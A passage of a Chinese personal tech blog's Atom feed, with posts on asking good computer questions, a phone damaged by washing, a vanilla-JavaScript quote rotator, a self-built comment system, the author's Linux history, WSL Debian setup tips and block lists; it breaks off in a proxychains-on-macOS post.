<h2>不要认为别人知道的跟你知道的一样</h2>
<p>「这个 APP 为什么在我手机上闪退啊？」</p>
<p>这个问题看起来很简单，但是对于别人来说很难：你的手机是什么品牌的？配置如何？Android 版本是哪个？系统被厂商魔改程度如何？等等。</p>
<p>因此，提出计算机问题（特别是在网络社区提问），一定要考虑下这个问题，并提供必要的信息（你的系统版本等等）。</p>
<h2>相信软件给出的提示</h2>
<p>「你的计算机尚未安装 Java，请访问 <a href="https://www.java.com">https://www.java.com</a> 下载 Java。」</p>
<p>嗯，软件已经给出了足够的建议，但是小明直接把这个提示截屏下来，去群里问如何解决这个问题。Geek 们会感觉不可思议：软件都提示你去下载 Java 了啊！小明听说以后，就去下载 Java，问题解决了。</p>
<p>小明为什么会无视软件提示，其实很大的一个原因就是很多用户对软件提示的盲目不信任。有时系统提示「请与系统管理员联系」，但是这是我家的电脑，系统管理员是谁啊？同时，某些国产软件通过恐吓等方式诱使用户去添加启动项等等，而用户反感这种流氓软件，不信任这些软件提示。</p>
<p>其实来自负责任的大厂的软件、「民间」的很多免费软件和开源软件的提示都很负责，照着它们去做其实是解决问题的第一途径。</p>
<h2>先了解这是什么</h2>
<p>看到一个陌生的格式，你只知道这是图片或者音频，你有转换成熟悉的格式的想法。请控制住你的这种想法，先去了解这个陌生格式到底是什么、它与其它格式有什么不同。</p>
<p>说到这一点，我必须提一下我的一个失败例子：很久以前，我拿到 m4a 格式的音乐，我甚至没有去了解 m4a 是什么，就直接寻求把 m4a 转换成 mp3 的方法。那时哪怕我查一下 m4a 与 mp3 的区别，也许就会改变我的想法，直接去下个好一点的音乐播放器，避免浪费大量转换格式消耗的时间，还毫无意义地降低音质。</p>
<h2>合理提供日志</h2>
<p>小明想用 MultiMC 启动器启动 Minecraft，结果启动不成功，软件弹出一个窗口，显示了出现的错误详情。于是，小明就把错误窗口截图，在群里提问。但是，由于他的窗口并没有显示足够完整的日志，问题无法继续解决。</p>
<p>也许他看不懂这些日志里到底说明了什么，便觉得屏幕上显示出来的就够了。这种情况下，最好把当时运行时出现的完整错误日志发上去，并说明你想做什么，然后又发生了什么。</p>
<p>顺便提醒一下，<strong>大段日志请截图</strong>，哪怕是拍照也可以。总之不要直接将文本贴到论坛上，甚至是聊天窗口里！被这样刷屏是很不爽的！</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[提升古诗词背诵及脸部记忆能力]]></title>
        <id>https://www.tcdw.net/post/memory-skill/</id>
        <link href="https://www.tcdw.net/post/memory-skill/"/>
        <updated>2018-04-16T23:40:38.000Z</updated>
        <summary type="html"><![CDATA[古诗词背诵与脸部记忆，对 tcdw 来说一直是个老大难的事情。  如果说在初一的时候，tcdw 还能在母上大人的呵斥下勉强背诵《木兰辞》，在高三时 tcdw 已经什么古诗词都背不下来了。  那些古诗词，tcdw 翻来覆去的试图记忆很多遍，但是一合上书，那古诗词瞬间从他的脑海中蒸发，一打开书又神奇的回来了。]]></summary>
        <content type="html"><![CDATA[<p>古诗词背诵与脸部记忆，对 tcdw 来说一直是个老大难的事情。</p>
<p>如果说在初一的时候，tcdw 还能在母上大人的呵斥下勉强背诵《木兰辞》，在高三时 tcdw 已经什么古诗词都背不下来了。</p>
<p>那些古诗词，tcdw 翻来覆去的试图记忆很多遍，但是一合上书，那古诗词瞬间从他的脑海中蒸发，一打开书又神奇的回来了。</p>
<p>tcdw 也记不住别人的脸部。tcdw 所在的专业人数就不算多，每当遇到集体活动（比如升旗），tcdw 就不知所措了，因为他永远没法自己找到他们的位置。于是，在类似活动，tcdw 只好四处随意走动，直到被同学们发现。</p>
<p>其实 tcdw 的记忆力本身大概没问题。地点、网址、事件什么的，他都有很好的记忆力。但是面对古诗词与别人的脸，tcdw 就抓瞎了。</p>
<p>tcdw 好希望通过记忆地点、网址、事件的渠道记住古诗词与别人的脸。比如，当我和最好的朋友在一起聊天，他说了一句古诗词，让我感到甜蜜，产生了深刻的印象；各个地点的建筑物，看起来就像我需要记忆的人脸一样，我便可以产生印象了。</p>
<p>然而现实是残酷的，这应该只是天方夜谭。</p>
<p>tcdw 急迫希望记忆他很难记住的，却很好的记住了其它一些奇怪的东西。于是 tcdw 也常常被批评：『背诵这么简单的事情，你多做不了啊』。好吧，那你为什么历史学的那么好，但是化学学的一塌糊涂呢？</p>
<p>那些对于别人来说很简单的事情，然而 tcdw 很难做到，这种体验也许是别人难以理解的吧。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[一袋凉皮引发的『血案』]]></title>
        <id>https://www.tcdw.net/post/liangpi-xperia-xz-premium/</id>
        <link href="https://www.tcdw.net/post/liangpi-xperia-xz-premium/"/>
        <updated>2018-04-14T15:46:36.000Z</updated>
        <summary type="html"><![CDATA[我们都知道 XZ Premium 是防水溅的，而 tcdw 有时也会直接用水冲洗一下他的 XZ Premium，还在同学面前炫耀一番。  在一个天气还凑合的星期日下午，tcdw 回到了学校，舍友给 tcdw 所在寝室每个人都买了一袋凉皮，每袋凉皮都有附带辣椒油。  这些凉皮是装在塑料袋里的，包括辣椒油和蔬菜包。]]></summary>
        <content type="html"><![CDATA[<p>我们都知道 XZ Premium 是防水溅的，而 tcdw 有时也会直接用水冲洗一下他的 XZ Premium，还在同学面前炫耀一番。</p>
<p>在一个天气还凑合的星期日下午，tcdw 回到了学校，舍友给 tcdw 所在寝室每个人都买了一袋凉皮，每袋凉皮都有附带辣椒油。</p>
<p>这些凉皮是装在塑料袋里的，包括辣椒油和蔬菜包。</p>
<p>tcdw 准备干掉这些凉皮，便把塑料袋打开，把凉皮倒进了饭盒。但是，辣椒油也是在塑料袋里的。</p>
<p>为了把辣椒油倒出来，tcdw 拿出剪刀，把塑料袋剪开了一个口，但没想到口剪得太大了，里面的辣椒油洒到了 tcdw 的桌子上。</p>
<p><img src="https://file.tcdw.net/blog/post/c01def9b-4809-5bfa-9000-b1feeeb8390f/hot-flood.jpg" alt="辣椒油"></p>
<p>tcdw 很慌张，他的手机被洒了，抽屉里的东西也被洒了。他慌里慌张的拿出纸巾、洗洁精和抹布，努力进行清理。</p>
<p>tcdw 的 XZ Premium 上全是辣椒油，为了清理的更干净一些，<strong>他把他的手机用洗洁精洗了一遍。</strong></p>
<p>在报销了 1/4 瓶洗洁精和一大堆纸巾以后，终于把辣椒油清理干净了，味道也闻不到了。</p>
<hr>
<p>就在前几天，tcdw 跟 <a href="https://www.qwe7002.com">qwe7002</a> 聊天，谈到了副卡的事情，于是 tcdw 被安利买了一张米粉卡。</p>
<p>第二天，tcdw 的米粉卡到货了，他兴高采烈地给 XZ Premium 装上了米粉卡，然后上网冲浪。回去以后，他感到手机上全是汗渍，<strong>便在水龙头下又冲洗了一遍。</strong></p>
<p>晚上，tcdw 绝望的发现，他的 XZ Premium 出现了奇怪的亮斑。</p>
<p><img src="https://file.tcdw.net/blog/post/c01def9b-4809-5bfa-9000-b1feeeb8390f/terrible-screen.jpg" alt="奇怪的亮斑"></p>
<p>tcdw 瑟瑟发抖，赶紧跟 Telegram 群里的大佬们讨论，最后得出结论，<strong>大概是防水盖没弄好，或者防水胶出问题了。</strong></p>
<p>于是，tcdw 只好把他的 XZ Premium 寄到了北京，开始返厂维修之路。</p>
<p>在此期间，tcdw 的舍友借给 tcdw 一部 vivo Y29L。这部手机小巧美观，内置了 Google 框架，<strong>但是 RAM 只有 1G</strong>，连正在播放的音乐播放器都有可能会自杀，而且系统是 Android 4.4 的。然而没办法啊，有舍友愿意借 tcdw 手机已经很不错了。</p>
<p>对 tcdw 来说，真是自作自受。</p>
<p>为了你的生活和谐，请确保在第一步做的事情就很靠谱，这样以后可能的不靠谱的事情就没机会做了（</p>
<h2>5 月 13 日更新</h2>
<p>经过一个月的漫长等待，tcdw 终于拿到了修好的 XZ Premium。于是，除了底部的磨损，这看起来就是部全新的机器了，因为整个屏幕和外框都被换掉了。</p>
<p>tcdw 终于把上个月买的 XZ Premium 贴膜和保护套用上了。但是这钢化膜居然左右两侧怎么也贴合不住，于是就有了奇怪的两边。。先这样吧 🌚</p>
<p>总之手机最后修好了，还是可喜可贺的。</p>
<p><img src="https://file.tcdw.net/blog/post/c01def9b-4809-5bfa-9000-b1feeeb8390f/repaired_2.jpg" alt="修好的手机"></p>
<p><img src="https://file.tcdw.net/blog/post/c01def9b-4809-5bfa-9000-b1feeeb8390f/repaired_4.jpg" alt="修好的手机"></p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[我写的一言轮播脚本（2018 更新）]]></title>
        <id>https://www.tcdw.net/post/hitokoto-auto/</id>
        <link href="https://www.tcdw.net/post/hitokoto-auto/"/>
        <updated>2018-04-13T03:36:16.000Z</updated>
        <summary type="html"><![CDATA[看到很多 ACG 博客都用上了一言，但我觉得在同一个页面只显示一条内容未免有些单调，所以想让它定时轮播，而且采用较好的切换效果。  我后来在 WNJXYK 上看到了我想要的轮播效果，但那是基于 jQuery 制作的。  因为对于我这种讨厌为一个小功能放上大型前端库的人来说不能忍，所以我用原生 JS 写了一个。]]></summary>
        <content type="html"><![CDATA[<p>看到很多 ACG 博客都用上了一言，但我觉得在同一个页面只显示一条内容未免有些单调，所以想让它定时轮播，而且采用较好的切换效果。</p>
<p>我后来在 <a href="http://wnjxyk.cn">WNJXYK</a> 上看到了我想要的轮播效果，但那是基于 jQuery 制作的。</p>
<p>因为对于我这种讨厌为一个小功能放上大型前端库的人来说不能忍，所以我用原生 JS 写了一个。</p>
<p>2018 年，为了获得更佳的性能和稳定性，我把这个脚本进行了重写，从 JavaScript 动画更改为 CSS 渐变，并改掉了一些不科学的地方。</p>
<p>下面是实际效果：</p>
<blockquote><span id="hitokoto">如果你在使用 RSS 阅读器，请访问原文查看效果。</span></blockquote>

<h3>HTML 部分</h3>
<pre><code>&lt;span id=&quot;hitokoto&quot;&gt;&lt;/span&gt;
</code></pre>
<h3>JavaScript 部分</h3>
<pre><code class="language-javascript">(function () {
  var server = &quot;https://api.lwl12.com/hitokoto/v1&quot;;
  var target = document.getElementById(&quot;hitokoto&quot;);
  var fadeDur = 1;
  var waitDur = 10;
  var errorMsg = &quot;加载出现了问题！&quot;;
  /* -=-=-=-=-=-=-=-=-=-=-=- 你的配置部分结束 -=-=-=-=-=-=-=-=-=-=-=- */
  var first = true;
  var present = &quot;&quot;;
  target.style.opacity = 0;
  target.style.transition = &quot;opacity &quot; + fadeDur + &quot;s&quot;;
  function loadData() {
    var connect = new XMLHttpRequest();
    connect.open(&quot;GET&quot;, server, true);
    connect.onload = function () {
      if (connect.status &gt;= 200 &amp;&amp; connect.status &lt; 400) {
        present = connect.responseText;
        if (first) {
          first = false;
          target.textContent = present;
          fadeIn();
        } else {
          fadeOut();
        }
      } else {
        target.style.opacity = 1;
        target.textContent = errorMsg;
        setTimeout(loadData, (fadeDur + waitDur) * 1000);
      }
    };
    connect.onerror = function () {
      target.textContent = errorMsg;
      setTimeout(loadData, (fadeDur + waitDur) * 1000);
    };
    connect.send();
  }
  function fadeOut() {
    target.style.opacity = 0;
    setTimeout(function () {
      target.textContent = present;
      fadeIn();
    }, fadeDur * 1000);
  }
  function fadeIn() {
    target.style.opacity = 1;
    setTimeout(loadData, (fadeDur + waitDur) * 1000);
  }
  loadData();
})();
</code></pre>
<script>!function(){var t="https://api.lwl12.com/hitokoto/v1",e=document.getElementById("hitokoto"),o=1,n=10,i="加载出现了问题！",s=!0,u="";function c(){var y=new XMLHttpRequest;y.open("GET",t,!0),y.onload=function(){y.status>=200&&y.status<400?(u=y.responseText,s?(s=!1,e.textContent=u,a()):(e.style.opacity=0,setTimeout(function(){e.textContent=u,a()},1e3*o))):(e.style.opacity=1,e.textContent=i,setTimeout(c,1e3*(o+n)))},y.onerror=function(){e.textContent=i,setTimeout(c,1e3*(o+n))},y.send()}function a(){e.style.opacity=1,setTimeout(c,1e3*(o+n))}e.style.opacity=0,e.style.transition="opacity "+o+"s",c()}();</script>]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[土豆评论]]></title>
        <id>https://www.tcdw.net/post/pomment-brainhole/</id>
        <link href="https://www.tcdw.net/post/pomment-brainhole/"/>
        <updated>2018-03-28T12:13:50.000Z</updated>
        <summary type="html"><![CDATA[2018 年 5 月更新：它开发完成了。    我想了想，决定捡起这个被我在去年弃掉的坑，并重新设计、编写相关代码，确保它有着更加科学的设计。撸起袖子加油干！   背景   Disqus 在中国大陆已经不能用很久了，好气啊。  使用 Disqus 的那些博客，往往会考虑换成多说、ISSO、原生或者一些小众评论框服务，或者直接拿 Github issues 托管评论，也有人（比如我）想：来我博客的人应该都会翻墙吧。]]></summary>
        <content type="html"><![CDATA[<p>2018 年 5 月更新：<a href="/post/pomment/">它开发完成了。</a></p>
<hr>
<p>我想了想，决定捡起这个被我在去年弃掉的坑，并重新设计、编写相关代码，确保它有着更加科学的设计。撸起袖子加油干！</p>
<h2>背景</h2>
<p>Disqus 在中国大陆已经不能用很久了，好气啊。</p>
<p>使用 Disqus 的那些博客，往往会考虑换成多说、ISSO、原生或者一些小众评论框服务，或者直接拿 Github issues 托管评论，也有人（比如我）想：来我博客的人应该都会翻墙吧。</p>
<p>直到有一天，某人问我：</p>
<blockquote>
<p>你博客的评论是怎么回事儿呀？好像自己没有看见回复按钮。</p>
</blockquote>
<p>看来必须找个替代服务了，要不然我的一些（并不经常翻墙的）朋友没法往我的博客发布评论啊。</p>
<h3>多说</h3>
<p>多说就算了吧。</p>
<ul>
<li>抛开国产服务的通用问题不谈，首先它的 HTTPS 支持实在太不正经（博客一定会出现 Mixed Content），还要自己搭个 HTTPS 反代服务器来实现小绿锁。</li>
<li>它的评论提醒也不正经到爆，除了浮窗以外似乎没有别的方法查看评论动态，有个邮件提醒也是摆设。</li>
<li>它<strong>只能通过社交网络登录</strong>，授权会过期，而且还会很烦人地提醒你去延期。</li>
<li>多说带来的垃圾评论比原生 Wordpress 还多，太烦人。</li>
<li>网站界面水平大概是 Disqus 的零头。</li>
</ul>
<p><strong>更新：多说下线了。</strong></p>
<h3>小众评论框</h3>
<p>这也是我的考虑之一，但我后来放弃了。</p>
<ul>
<li><a href="http://www.uyan.cc">友言</a>：看上去很久没有更新了，而且 UI 也没比多说好到哪去。更重要的是，<strong>它不支持 HTTPS</strong>。</li>
<li><a href="https://livere.me">LiveRe</a>：看上去是个很棒的评论服务，而且完整支持 HTTPS，然而免费版功能少到可怜，甚至<strong>不支持评论导出</strong>。网站界面不是韩文就是别扭的中文，想看看专业版有哪些功能，介绍只有韩文版本。英文界面也比这样强啊！</li>
<li><a href="https://comment.moe">萌评论</a>：功能比 LiveRe 还少，而且看上去极不可靠。虽然我知道偷揉是个很棒的前端开发者，但至少目前没法考虑。</li>
</ul>
<p>至于 GitHub issues？首先你要有一个 GitHub 帐号，然后还要知道如何使用 GitHub issues ...... 对于我这种所谓的技术宅问题是不大，但是对于圈子以外的朋友，门槛比翻墙用 Disqus 还高。</p>
<p>为了让我看起来是个真正的菊苣，我打算自己写一个（对我来说）最好的评论框服务！</p>
<p>于是 Pomment (Powerful Comment) 的故事就开始了。</p>
<h2>Pomment 的计划特点？</h2>
<ul>
<li>易于安装、更新</li>
<li>采用多个 SQLite 数据库存储数据</li>
<li>提供多种管理 API</li>
<li>提供邮件提醒、webhook 支持</li>
<li>前后端分离</li>
<li>……</li>
</ul>
<p>至于什么时候做好，也许是个谜（</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[我的 2017]]></title>
        <id>https://www.tcdw.net/post/2017/</id>
        <link href="https://www.tcdw.net/post/2017/"/>
        <updated>2017-12-31T16:00:00.000Z</updated>
        <summary type="html"><![CDATA[好耶，我的 2017 结束了！   不可思议的   我用着一部没有 root 的 Xperia XZ Premium，居然很开心  我用上了曾经被我黑来黑去的 MacBook Pro，闭嘴了  我家里的 Windows 台式机配置更平衡了，仅仅因为我增加了 RAM 和 SSD，不过比较残念的是主板上四个 SATA 口都是 SATA2 的其实有一个是 SATA3。M.2 SSD？我好穷啊]]></summary>
        <content type="html"><![CDATA[<p>好耶，我的 2017 结束了！</p>
<h2>不可思议的</h2>
<ul>
<li>我用着一部没有 root 的 Xperia XZ Premium，居然很开心</li>
<li>我用上了曾经被我黑来黑去的 MacBook Pro~~，闭嘴了~~</li>
<li>我家里的 Windows 台式机配置更平衡了，仅仅因为我增加了 RAM 和 SSD，不过比较残念的是主板上<del>四个 SATA 口都是 SATA2 的</del>其实有一个是 SATA3。M.2 SSD？我好穷啊</li>
<li>买了一大堆奇怪的外设，其中一部分是为我 MacBook Pro 的妥协（Type-C），把我自己炸的不要不要的</li>
<li>对三次元音乐大幅恢复兴趣</li>
<li><del>突然变得通俗、接地气</del></li>
<li>身份又增加了半吊子设计师</li>
<li>我与我的舍友用着同样的手机、同样的 Type-C 转接头、同样的 U 盘</li>
<li>在正版软件上砸了不少钱，基本实现了软件完全正版化</li>
<li>本博客在 2017 年还活着</li>
<li>解散了所有自己管理的 Telegram 群组，因为我真的不适合做社区管理员（</li>
</ul>
<h2>三次元的</h2>
<ul>
<li>我度过了人生中最后一段高中时光，进入大学</li>
<li>我有了很多三次元小伙伴</li>
<li>第一次与网上的 dalao 面基</li>
<li>做事<del>被迫</del>变得很麻利</li>
<li>我开始主动寻求改变自己内心很奇怪的一面。也许以前我的三次元生活确实很惨，但它们都过去了，就试图从现在开始变得更好</li>
</ul>
<h2>Geeky 的</h2>
<ul>
<li>开始第三次学习 JavaScript，阅读了《你不知道的 JavaScript》等书籍。曾经受某专家毒害停留在 IE6 时代的我终于用上了 ES7，还开始使用 gulp，eslint 这些看起来很高大上的东西。它们真的好好用啊，减少了很多不必要的付出</li>
<li>开始尝试使用 PowerShell，主要是不希望继续拘泥于 Linux 的命令行</li>
<li>第一次提交自己的程序到 NPM，分别是 <a href="/post/markdown-file-from-typecho/">Typecho Markdown 导出工具</a> 和 <a href="/post/oneanime-js/">OneAnime.js</a></li>
<li>用上了 <a href="https://qwe7002.com/">qwe7002</a> 的 <a href="https://github.com/SilverBlogTeam/SilverBlog">SilverBlog</a>，当了一回小白鼠，并为他提出了很多建议，同时受到了其思想熏陶（</li>
<li>系统分工更明确：家里的台式机跑着 Windows 10，我的 Macbook Pro 当然跑着 macOS，从闲鱼收的 <a href="http://www.gigabyte.tw/Mini-PcBarebone/GB-BXBT-2807-rev-10">二手 NUC</a> 跑着 Debian testing~~，Orange Pi One 吃灰开始~~</li>
</ul>
<h2>瑟瑟发抖的</h2>
<p>Flash Player 要在 2020 年 <a href="https://theblog.adobe.com/adobe-flash-update/">停止支持</a> 了。虽然是在意料之中，知道它已经过时了，不过还是感觉很惋惜。如果不是小时候被舅舅安利 Flash 6，接触 ActionScript，也许我永远不会跳进码农这个大坑呢。</p>
<h2>荣耀的</h2>
<p>我被评为 SMW Central 2017 年 12 月的 <a href="https://smwc.me/1454726">Member of The Month</a>。虽然这真的只是我的业余爱好，但这样还是很开心的。</p>
<h2>总之</h2>
<p>希望我的 2018 会更棒！</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[我与 Linux]]></title>
        <id>https://www.tcdw.net/post/linux/</id>
        <link href="https://www.tcdw.net/post/linux/"/>
        <updated>2017-12-10T09:10:50.000Z</updated>
        <summary type="html"><![CDATA[貌似很多人都是一上来就学习使用桌面版 GNU/Linux 发行版（下面简称 Linux），但我的过程嘛……   Android  小时候的我也认为，世界上只有 Windows 这种桌面操作系统。  2012 年，我拥有了摩托罗拉 xt910。我想给我的 xt910 刷 MIUI V4，但我的 xt910 是国行的，使用国行底包直接刷进去会出现发热的问题。]]></summary>
        <content type="html"><![CDATA[<p>貌似很多人都是一上来就学习使用桌面版 GNU/Linux 发行版（下面简称 Linux），但我的过程嘛……</p>
<h2>Android</h2>
<p>小时候的我也认为，世界上只有 Windows 这种桌面操作系统。</p>
<p>2012 年，我拥有了摩托罗拉 xt910。我想给我的 xt910 刷 MIUI V4，但我的 xt910 是国行的，使用国行底包直接刷进去会出现发热的问题。</p>
<p>相信给摩托罗拉手机刷过机的机油都知道，摩托罗拉有一种东西叫 BL 锁，而 xt910 还锁区，所以国行 xt910 用户正常情况下不能刷欧版或港版 xt910 的底包。有一种不完美的绕过限制的方法就是「清除 18 区」，需要用「终端模拟器」执行几个命令，然后刷 MIUI 和启动工具，用第三方的 2nd-init 启动使用欧版底包的 MIUI V4：</p>
<pre><code class="language-bash">su
dd if=/dev/block/cid of=/sdcard/cid-backup.bin
dd if=/sdcard/cid-go.bin of=/dev/block/cid
</code></pre>
<p>那时的我超级爱折腾，反复执行这套命令多次，觉得每次都要输入 <code>/sdcard</code> 很繁琐，就开始反复求助度娘，了解如何切换到指定目录、如何列举目录……后来我发现「终端模拟器」实在太有用处了，进而知道使用 <code>adb shell</code> 可以在电脑访问到一样的终端。Android 的命令行，成了我当时最常使用的「Linux」。</p>
<p>当时我还用批处理调用 adb shell 和 fastboot，搞了个「国行 213 root 工具」，就是用 fastboot 刷入国行 145 固件的内核，再通过 adb root，最后刷入国行 213 固件的内核，把以前需要手工完成的步骤自动化了。我把它以 xt910 吧吧主名义发布到贴吧上，颇有成就感。</p>
<p>然而 Android 虽然基于 Linux 内核，但它毕竟跟真正的桌面版 Linux 发行版没法比啊。恰逢 2013 年我家采购电脑，一家三口都有了自己的电脑，我都有了自己的台式机，原来我家的旧台式机就被淘汰了。我就在我家的旧台式机上安装了 Ubuntu 13.04，开始尝试输入百度等地方搜到的各种命令。新鲜劲过后我绝望的发现，「真正的」Linux 一点也不好用（其实是我把它当成了一个不太好用的 Windows），要啥没啥，连 QQ 都是很久以前的。不久以后，我爸又把旧台式机搬走了。</p>
<p>至于我的 xt910，**它已经过时了，再怎么刷机，也无法拯救它的衰老。**后来我有了 Galaxy S5，xt910 就被我扔在抽屉里。因为 Galaxy S5 很好用（一直到今年夏天被淘汰），刷机也很方便，不再需要碰那些命令，Linux 什么的也被我抛到脑后。</p>
<h2>CentOS</h2>
<p>2014 年底，一次很偶然的机会，我认识了 <a href="http://luojia.me/">佳佳酱</a>，进而认识了一群有趣的人。我从他们那里知道了有种东西叫 Node.js，还有种博客系统叫 Ghost。当时的 Ghost 深深打动了我，但是传统的 PHP 虚拟主机是没法运行 Ghost 这样的 Node.js 应用程序的，于是我开始了解 VPS 这种神奇的东西，开始折腾圈子里很多人喜欢的 CentOS 6.5、LNMP 一键包之类的东西。我知道了 Linux 的磁盘挂载、权限控制、包管理器的使用等等知识，还有各种折腾 CentOS 的奇怪技巧（比如如何编译安装各种本来 Debian 和 Ubuntu 就有足够新的版本的软件）。不久以后，我把自己的博客真的 <a href="https://www.tcdw.net/post/ghost-post-2/">迁移到了 Ghost</a>。</p>
<p>中间换过几次 VPS，我也渐渐发现 CentOS 的局限性：虽然官方包管理器的软件应该可以保证稳定，但是太老了，安装新软件不是加软件源就是编译安装。又因为它其它一些不好用的地方，后来我彻底放弃了这个发行版，改用 Ubuntu，用 <code>apt</code> 部署所有我需要的服务器软件。</p>
<h2>Debian &amp; Gnome</h2>
<p>后来我觉得 Windows 10 太闷了，加上当时 RAM 不够，我决定：再次尝试迁移到 Linux！</p>
<p>与第一次安装 Ubuntu 相比，我这次有了迁移的信心：</p>
<ul>
<li>Chrome</li>
<li>Telegram</li>
<li>Node.js 与 git，它们对 *nix 本身就更友好</li>
<li>QQ Web 版</li>
<li>LibreOffice</li>
<li>……</li>
</ul>
<p>我安装的是 Debian jessie + Gnome；我没有删除硬盘上的 Windows 10，因为我担心可能还有 Windows 限定的情形，但是并没有。这经历也为我后来迁移到 macOS 奠定了基础。</p>
<p>我就这样开心的折腾了很久，把 Debian 搞得很符合自己心意。<strong>代价就是我在折腾 Linux 上浪费了更多的时间。</strong></p>
<p>2017 年，我把我家台式机的 RAM 增加到 16 GB，安装了 64 位 Windows 10，发现体验太好了，再加上 Windows Subsystem Linux 也可以用了，我后来把 Debian 格掉了。</p>
<h2>macOS</h2>
<p>虽然 macOS 并不属于 Linux 家族，但我还是要提一下。</p>
<p>macOS 给我的第一印象就是省心。我不再需要向以前那样折腾，我拥有的是一个开箱即用的、美观易用的、UNIX 核心的桌面操作系统。而且，它拥有更大的生态圈。</p>
<p>即使需要我使用命令行干预系统，我也可以用我学会的 Linux 知识轻松搞定，因为 Linux 本来就属于 *nix 家族啊。</p>
<hr>
<p>这就是我与 Linux 的黑历史了。这篇文章不是说明什么道理，只是跟大家分享一下我的经历。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[把 WSL 的发行版换成 Debian 时撞的坑]]></title>
        <id>https://www.tcdw.net/post/debian-windows-wsl/</id>
        <link href="https://www.tcdw.net/post/debian-windows-wsl/"/>
        <updated>2017-11-05T12:15:41.000Z</updated>
        <summary type="html"><![CDATA[tl;dr：别自以为是  参考教程：Debian on Windows via WSL  1. 下载 Git for Windows 这种庞然大物不是必须的，你直接从 GitHub 上 Download ZIP 就行 2. 安装 Python，一定要记得在第一步勾选 Add Python 3.x to PATH]]></summary>
        <content type="html"><![CDATA[<p>tl;dr：别自以为是</p>
<p><a href="https://ariya.io/2017/03/debian-on-windows-via-wsl">参考教程：Debian on Windows via WSL</a></p>
<ol>
<li>下载 Git for Windows 这种庞然大物<strong>不是必须的</strong>，你直接从 GitHub 上 Download ZIP 就行</li>
<li>安装 Python，一定要记得在第一步勾选 <code>Add Python 3.x to PATH</code></li>
<li>一定要乖乖地从 PowerShell 运行，而不是 cmd，否则会出现 WinError 126 错误</li>
<li>刚安装好的 Debian 实在太精简了，所以别忘了先 <code>apt update</code> 然后装个文本编辑器，否则你编辑点什么都相当痛苦</li>
<li>这个 Debian 连 <code>man</code> 都没有，所以也需要自己装</li>
<li>为了修复 locale 问题，你需要</li>
</ol>
<pre><code class="language-bash">echo &quot;en_US.UTF-8 UTF-8&quot; &gt; /etc/locale.gen
apt install locales
</code></pre>
<p>现在你终于可以 <code>apt install</code> 一通乱装了。</p>
<p>Ubuntu 16.04 能用还是好好用吧，不要学我</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[为什么公共 block 列表有时是个很糟的主意]]></title>
        <id>https://www.tcdw.net/post/public-block-list/</id>
        <link href="https://www.tcdw.net/post/public-block-list/"/>
        <updated>2017-10-20T11:32:57.000Z</updated>
        <summary type="html"><![CDATA[很多社区都提供 block 某人的选项，于是就有人说了：为什么不搞个公共的 block 列表呢？这样我们都可以把某人 block 掉，每个人都很开心啦！  首先我们需要搞清楚为什么要在社区里 block 一个人。也许你觉得他的发言火药味冲天，也许你跟他有着恩怨，也许你觉得他的观点让你很不开心，也许你就是看他不顺眼 …… 总之，主观因素往往占很大一部分。]]></summary>
        <content type="html"><![CDATA[<p>很多社区都提供 block 某人的选项，于是就有人说了：为什么不搞个公共的 block 列表呢？这样我们都可以把某人 block 掉，每个人都很开心啦！</p>
<p>首先我们需要搞清楚为什么要在社区里 block 一个人。也许你觉得他的发言火药味冲天，也许你跟他有着恩怨，也许你觉得他的观点让你很不开心，也许你就是看他不顺眼 …… 总之，主观因素往往占很大一部分。</p>
<p>但不是所有人的主观思想都跟你一样。你主观上觉得不喜欢的社区成员，也许别人觉得没啥问题。或者他可能只是互联网的萌新，并不太懂得网络社区礼仪，但经过时间的推移，渐渐的意识到自己以前的行为多愚蠢（比如我）。</p>
<p>不喜欢一个人或一种事物是人的基本权利，但把自己的主观想法施加给别人，别人在知道为什么 block 某人的原因后未必认同你；更重要的是，把一大堆<strong>基于不同人的主观因素</strong>的 block 列表批量导入设置，你和列表整理者的做法是对别人的严重不尊重。</p>
<p><strong>你不喜欢的东西，别人未必不喜欢。</strong></p>
<p>但有一个重要的例外，就是交易中的骗子。他们都损害了普通消费者的权益，为了保护共同利益，建立一个列表，让别人在交易时少撞坑还是很有必要的。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[故事：试图不关闭 SIP 在 macOS Sierra 上使用 proxychains-ng]]></title>
        <id>https://www.tcdw.net/post/proxychains-with-sip/</id>
        <link href="https://www.tcdw.net/post/proxychains-with-sip/"/>
        <updated>2017-09-24T12:39:39.000Z</updated>
        <summary type="html"><![CDATA[因为一些原因，我需要通过 proxychains 代理我的 ssh 来连接远程主机。我按部就班地用 homebrew 装好了 proxychains-ng，运行系统上已有的 ssh 客户端（/usr/bin/ssh），期望着就像 Debian Linux 上那样可以轻松代理，然而并！不！能！]]></summary>
        <content type="html"><![CDATA[<p>2022 更新：强行让一个应用走代理的方式现在真的太多了。我目前用的是 <a href="https://nssurge.com/">Surge</a>，真是太香了（</p>
<hr>
<p>因为一些原因，我需要通过 proxychains 代理我的 ssh 来连接远程主机。我按部就班地用 homebrew 装好了 proxychains-ng，运行<strong>系统上已有的</strong> ssh 客户端（<code>/usr/bin/ssh</code>），期望着就像 Debian Linux 上那样可以轻松代理，然而并！不！能！</p>
<p>你会被卡在这里：</p>
<p><img src="https://file.tcdw.net/blog/post/3e32c611-9950-5c4f-92ce-4524ff89f5ce/pcng-epic-fail.png" alt="被卡住"></p>
<p>我们启用一个国外代理，运行<strong>系统上已有的</strong> curl（<code>/usr/bin/curl</code>），你猜怎么着？</p>
<pre><code class="language-bash">tcdw@tcdw-mac.local ~ $ proxychains4 curl ip.cn
[proxychains] config file found: /usr/local/etc/proxychains.conf
[proxychains] preloading /usr/local/Cellar/proxychains-ng/4.12_1/lib/libproxychains4.dylib
